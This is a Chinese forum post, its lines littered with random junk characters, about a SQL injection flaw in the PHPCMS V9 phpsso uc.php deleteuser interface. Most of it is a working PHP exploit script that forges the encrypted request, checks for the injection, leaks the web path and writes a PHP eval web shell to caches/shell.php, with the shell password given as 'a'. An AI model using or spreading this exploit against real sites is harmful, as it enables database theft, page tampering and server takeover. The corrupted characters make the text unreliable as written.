PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
2 j5 ]/ h& h; X4 V$ S0 |7 b0 p+ ]$ \3 p: t( l
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
& q" i) |' ]; p+ p1 S2 d! i0 Z4 f `1 z2 I& q7 ]
漏洞分析:, h1 w+ D0 l- o x7 l9 _/ a
1.未启用ucenter服务的情况下uc_key为空4 a2 L8 `' Z/ f9 }
define('UC_KEY', pc_base::load_config('system', 'uc_key'));% T% H0 m4 q3 a
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
. W* B6 K% y# r- k' i3 Y public function deleteuser($get,$post) {& X, \) X8 F4 h3 b" k1 _: y j
pc_base::load_app_func('global', 'admin');2 D |, W* \3 f% M! Y- \$ `* D
pc_base::load_app_class('messagequeue', 'admin' , 0);
" S. W% ]6 w6 v: ~ $ids = new_stripslashes($get['ids']);
; z* K) s6 P* c, S$ |3 V: t( ? $s = $this->member_db->select("ucuserid in ($ids)", "uid");( _6 S9 Z, }4 R( Q3 r4 N
SQL语句为6 t! J$ Y4 ]6 O) G% X. \
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 m q. i$ c7 U
! P9 b9 y0 R' c4 D9 f! ?$ L利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
$ r. D* S4 Y" X3 e' a! R9 R* C9 [<?php
5 E" t3 F. @4 Aprint_r('& D- j4 P0 S* J' M; |0 n+ E/ |4 u
---------------------------------------------------------------------------2 ?* W2 k8 P' u" l! ~
PHPcms (v9 or Old Version) uc api sql injection 0day8 j3 r* z5 _" o) ?; H' b0 S) s2 j* A; X
by rayh4c#80sec.com$ W$ q; {( m/ g! a' N' O& H6 v3 f
---------------------------------------------------------------------------% N" d* V- L w
');( t: B6 f( X; b
; ^! t5 l. E) J7 }/ D! Tif ($argc<3) {+ N9 \6 o2 h) m+ Z- p& m
print_r('4 Y% d+ ^& x3 h( l$ I7 |
---------------------------------------------------------------------------" c) H9 \7 w) d3 l9 a
Usage: php '.$argv[0].' host path OPTIONS+ f* @9 \9 @$ ]
host: target server (ip/hostname). i; E9 L3 m! Z# E
path: path to phpcms! n+ m8 v( M+ U Y9 C
Options:
; k+ g1 o, D6 ?' d -p[port]: specify a port other than 80
1 u) h5 ]! R2 w v, a -P[ip:port]: specify a proxy J" V% A& x* a, o# R) u
Example:
k0 g. E' s2 N fphp '.$argv[0].' localhost /
: G6 \' y! q% Sphp '.$argv[0].' localhost /phpcms/ -p818 I& @- @( z4 o( G# b% x
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 X$ g: A( }& w6 @( G7 A---------------------------------------------------------------------------/ Z+ p' \7 O' q+ M3 Q
');
* i0 Q$ O( t/ E3 W7 c* d8 e: C3 z die;+ J( r* s( Y) G' |- M+ e: N' g$ K
}. \ r# p8 r2 m$ h
; u( \; [% i o/ H5 Y- p
error_reporting(7);+ a- n% s; C6 L1 @- B1 n; f
ini_set("max_execution_time",0);6 e6 K" A. H$ u* p" E+ C4 c
ini_set("default_socket_timeout",5);
3 X2 n7 m+ u. S# ]" o/ H
6 o8 G' Q0 s/ L; cfunction quick_dump($string)1 w, ]3 M* [# n# Q2 A
{
4 s$ v# m4 a' ~2 q! ^ $result='';$exa='';$cont=0;
) p* i" b- I: g3 E for ($i=0; $i<=strlen($string)-1; $i++)
% A3 G& E* G# `( y% c {0 Z4 k. }# G; a E8 ]) R4 [9 q+ F
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))4 E6 D1 D2 `' |
{$result.=" .";}
( M" m1 g a3 I! F' r/ E4 F2 ~ else A+ |6 I4 R! E# R9 S; n
{$result.=" ".$string[$i];}. V- A* I, m; H. D4 b5 X& I
if (strlen(dechex(ord($string[$i])))==2)' u( }2 a) Z$ {" L) T
{$exa.=" ".dechex(ord($string[$i]));}
& H. }% t) K8 {- u' B* _ else
Q/ |$ w1 d, p6 A/ ]8 i* A& [ {$exa.=" 0".dechex(ord($string[$i]));}7 ^' L, q' l% X: Q' z) t2 t
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
! p+ Q1 t, E# F: Q7 }2 e! x }$ K; ^7 z' G# [: o: N8 \8 N, U" N" @! \) O
return $exa."\r\n".$result;
2 [7 A* D0 b; y) x9 g% h6 C3 J}
9 _, \9 X: l! ^5 u. f O$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
# Y7 [9 w# k' q9 L5 ?6 v% }+ q; z# u/ B8 {9 {
function send($packet)
6 a( E& Y, X+ C{
2 Y: w- Y8 t. {4 P& i2 L; m% I global $proxy, $host, $port, $html, $proxy_regex;
% G/ J2 I8 j/ t3 h- B1 s if ($proxy=='') {7 i" ~2 l( }) y5 z& g
$ock=fsockopen(gethostbyname($host),$port);3 v3 P2 w' ^$ E* t
if (!$ock) {
k5 T; W$ i M$ ^( q echo 'No response from '.$host.':'.$port; die; G p% u. d' R+ e) s" f, I, z6 z
}" I. B" l, S2 X! u8 E
}: z- }, I6 W- C: g
else {; J2 p) X6 v# E. |4 R$ C
$c = preg_match($proxy_regex,$proxy);1 B" E( x+ p( ?* q% P# ^4 h1 K8 _
if (!$c) {
+ r6 W4 s4 n+ N, u3 H T& N" N0 P echo 'Not a valid proxy...';die;
5 P u! [2 M1 f' j7 e/ g }9 `* @5 S( A O) T
$parts=explode(':',$proxy);
. f9 m4 w* L6 c5 D8 r5 y4 @ $parts[1]=(int)$parts[1];
' c* Z3 l: u5 v echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 b9 T, a7 E' y/ c. w" n0 y $ock=fsockopen($parts[0],$parts[1]);- Y1 U& S% d. f
if (!$ock) {
. R* P# O0 h1 e echo 'No response from proxy...';die;
- Y4 f0 |. o. v# S' ~' \ }
. D1 \' }. V& Z }4 f; ^! I9 ?4 j+ O2 A3 `+ _
fputs($ock,$packet);
; u6 _3 [- N, [# r1 F) q if ($proxy=='') {
" ?4 X, Y' i5 h! H% A5 q $html='';
4 k" V' F9 `+ y8 ^/ e while (!feof($ock)) {
8 Y$ k6 O4 [1 I. ~ $html.=fgets($ock);4 M e k: p2 X$ O
}4 O4 @+ T1 o0 X
}4 K: }9 v1 f% R# T. F9 p
else {4 t# l; X( }% Y
$html='';9 H3 |1 P( Z7 @" N0 y
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, p, f( p/ B4 I' j' a1 \ $html.=fread($ock,1);
. W# u# N! P [: C& C }
# _) z: F. y% W& D/ x% a2 t# P }, _1 Q& n3 G( u2 Y# e( C
fclose($ock);! A: J7 A/ ]7 E% A; x
}# r: @( p0 I+ h3 a1 L% ?
4 P S+ N" B/ n/ `$ s, W
$host=$argv[1];- r+ j% ]! d! K/ l+ k, p5 K
$path=$argv[2];" j7 s: U7 N; w# Z
$port=80;2 X) {; M* o8 j& g6 _
$proxy="";: a) z; }( }" }2 w b( z
for ($i=3; $i<$argc; $i++){
2 Y" k% q6 |7 [6 n9 u$temp=$argv[$i][0].$argv[$i][1];/ ~5 t1 r$ { S* \3 D4 ]( W
if ($temp=="-p")- a5 R" k- x+ v+ }9 i5 \" B
{
% m6 P/ h" Y) _$ S. ?3 f- H4 L1 N# J $port=(int)str_replace("-p","",$argv[$i]);
: c" U) a9 B5 O$ _' \0 _0 v}
' b9 ?' j- v/ ]- k1 @ ]5 [if ($temp=="-P")4 y z3 h+ a w! M
{
! C- G" ]+ F! j) D $proxy=str_replace("-P","",$argv[$i]);
, l) D( x. g* g2 U# n}
; y9 e' H% r& i% _}( ?9 _0 z( q% {4 a
& s' ?& T# k2 S- l% ^if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
: S- u9 v' b4 o' t* C; F$ B8 Zif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}6 Z" b4 `2 B3 x: x" y
% v- Y0 s! H& e1 N8 v7 U: d
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
5 N: I; ^% r! U0 y' ]) z
! p8 h* ?1 N" _3 o $ckey_length = 4;, X6 p4 u; J- n$ h. t: u! z. U# r
# y |5 b; W& ]- |0 {7 r7 W; X $key = md5($key ? $key : '');: l+ [, v) C4 W* S! A
$keya = md5(substr($key, 0, 16));1 e! t- O$ F! V) H. u
$keyb = md5(substr($key, 16, 16));. o& H& x- p+ R3 v1 k' Z$ v' B
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
7 w) K9 J, p, j
7 A8 s8 _1 }, G2 g $cryptkey = $keya.md5($keya.$keyc);
) G2 ]0 }. T# i $key_length = strlen($cryptkey);1 h+ t8 E0 e# U, m3 U, U- J/ x
u/ \" A6 a9 c* D* [ H $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
* Q4 z, c+ x( m) `5 G. g. Z $string_length = strlen($string);1 _9 c- T e! l8 V" y/ g- G
* m! U; q+ Q: `6 s M6 o' d+ u $result = '';% x' x1 c8 Z4 @, R
$box = range(0, 255);0 O" b, `& l: V
6 A8 I) d+ H2 d& F
$rndkey = array();& ] i$ l* q( e) L+ s6 h8 J, F
for($i = 0; $i <= 255; $i++) {5 c' j* V! n% ^5 V
$rndkey[$i] = ord($cryptkey[$i % $key_length]);3 U% s& H9 {4 Q* w
}, \( c9 L1 |1 U* _1 C N+ {% f6 q
1 M: w; K% q7 G+ c; F6 U
for($j = $i = 0; $i < 256; $i++) {5 U3 x) D% ]2 K) `
$j = ($j + $box[$i] + $rndkey[$i]) % 256;/ h9 i/ r0 y% s* A
$tmp = $box[$i];
5 g b* g) k* Z2 q7 W) i3 T" o $box[$i] = $box[$j];* d. s {' O" B
$box[$j] = $tmp;: E4 c- T: u1 T. [- @0 {
}
8 I8 ~! z/ o' c# H7 J7 A" \ d
6 N6 P. p! j& Y+ F' b1 x5 @ for($a = $j = $i = 0; $i < $string_length; $i++) {& {4 X6 P0 v8 O2 I) X0 y1 C( _. n
$a = ($a + 1) % 256;1 }: s, \6 ] D/ G1 n
$j = ($j + $box[$a]) % 256;( n# t8 W* f, r+ l# O
$tmp = $box[$a]; v* x2 g. d5 C4 Q u
$box[$a] = $box[$j];0 ~! i: W4 z+ a* G8 r0 q( N# V1 I
$box[$j] = $tmp;8 {' v$ x2 ~9 Q- u' C
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
# N* P! X9 S9 g% a# Q- ^; i! {) } }5 T) A' x; D! ~' V$ ^" r/ s
$ G& r; }6 o1 N; x; u if($operation == 'DECODE') {( T; }' D' i4 K, P
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
! I% O# n% H; v8 d return substr($result, 26);
7 I! l: R, S) l# ] } else {0 O9 F9 Q% M8 E: k9 a! a5 l7 I2 s- f" E
return '';- d3 [+ P W( I
}
' w* G- Z( c1 }, ]1 w } else { {* u: Y3 u. ^& ]+ V! K% X
return $keyc.str_replace('=', '', base64_encode($result));: b4 {4 ^, D. C P
}
m, |2 s3 I- u" N8 ^# f/ h! A- J E- j. V
}
. V9 P4 p" ?' K& l/ ]5 ~: c+ _+ f
: r ]7 h; S6 V& a" L$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";& ^1 G4 M5 H. h. ]6 ~/ k; a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
, x2 X. y! k+ d$ U9 K+ M" J/ pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: C4 ^5 G8 x; s* [" ^0 `9 k/ G8 f
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
X5 n, a6 Q- W+ o. ]4 y$packet.="User-Agent: Mozilla/5.0\r\n";7 ~0 ?7 e4 n" M
$packet.="Host: ".$host."\r\n";% V% T$ b" K: S+ p9 O' M- J
$packet.="Connection: Close\r\n\r\n";5 F8 r' R7 q) V4 V' P" Y
send($packet);- G% T" Q+ ~- E0 A# [2 C* n
if(strpos($html,"MySQL Errno") > 0){1 F7 a# R& Q2 ^3 x. q8 `, I
echo "[2] 发现存在SQL注入漏洞"."\n";) l ?" E, g2 P/ i3 c, @: B; F
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, X7 {6 p3 l3 _
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
. H4 N2 h* E& u0 ~1 I$ ], M$packet.="User-Agent: Mozilla/5.0\r\n";2 `1 W( b" c/ }0 u5 \; K) s
$packet.="Host: ".$host."\r\n";
6 o, ]) a# F. A6 H3 t8 z$packet.="Connection: Close\r\n\r\n";. \: A; g$ l. X
send($packet);$ x7 a$ t9 }3 l2 G
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
2 x- Y2 `! S/ ~" }//print_r($matches);3 X7 `% F' L8 h2 N/ }1 t' v- Q
if(!empty($matches)){$ z6 p9 C6 B, F1 f& U
echo "[4] 得到web路径 " . $matches[0]."\n";
" A) A1 L4 v4 cecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 }- E, i/ p; V0 }, i! z& [0 R9 [$SQL = "time=999999999999999999999999&ids=1)";
8 f0 c4 ~9 c" i) [) @, d( L$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";4 F9 p( f5 j; x% C. K4 O
$SQL.="&action=deleteuser";
$ z+ E; i$ X. q2 N6 V P7 D$ {6 W$SQL = urlencode(authcode($SQL, "ENCODE", ""));: A6 c% n& @" v. I
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 ?( m* z2 `/ A9 k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 f& y: G$ g0 I, P8 B2 D
$packet.="User-Agent: Mozilla/5.0\r\n";
+ q9 c$ @) z X2 ~6 k3 a% s$packet.="Host: ".$host."\r\n";% n# E4 m( i+ b/ f! ^. X, h+ O2 d
$packet.="Connection: Close\r\n\r\n";
5 Q" F% ]' c2 Fsend($packet);0 A6 b" [6 Q- r
if(strpos($html,"Access denied") > 0){6 \5 |2 k3 |1 v3 Q3 N( H1 J6 N
echo "[-] MYSQL权限过低 禁止写入文件 ";
" ^+ Q2 x/ n$ p" f. U" o; f7 b( Cdie;
2 u0 l8 @ u; t}
0 u4 U3 h! ?$ n; m4 Aecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
# s5 H/ r2 P1 Y$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";" W6 y% K f5 w: e* G0 t
$packet.="User-Agent: Mozilla/5.0\r\n";: v+ x/ D1 S/ ^, ^
$packet.="Host: ".$host."\r\n";
! B" A( E/ I4 K2 b7 j3 O$packet.="Connection: Close\r\n\r\n";" i( {/ f% ]0 |. I5 U) @
send($packet);& j5 P! x9 N5 |) P r
if(strpos($html,"<title>phpinfo()</title>") > 0){
+ n1 l0 Z, N/ `" J- `, B Jecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
5 ]1 @) Z* d2 U2 w& j" B {}
) M/ E) u' [+ A6 K J" d a# X}else{
( Z8 K: f5 v9 O4 h$ Q% s- @0 t1 k* `echo "[-]未取到web路径 ";# ~( B& v4 f2 n% }5 }, u
}! n5 L f: t2 {4 l8 n) }3 g) g
}else{
7 K/ [+ T6 C. w& Pecho "[*]不存在SQL注入漏洞"."\n";- L4 q/ Y5 [ V" m% X, T
}: b2 P( H: Z! q, r
% \* f2 N; h/ F) d& _ n% @9 c2 ]?>
: f* t" |+ n2 T7 n! u2 p1 C |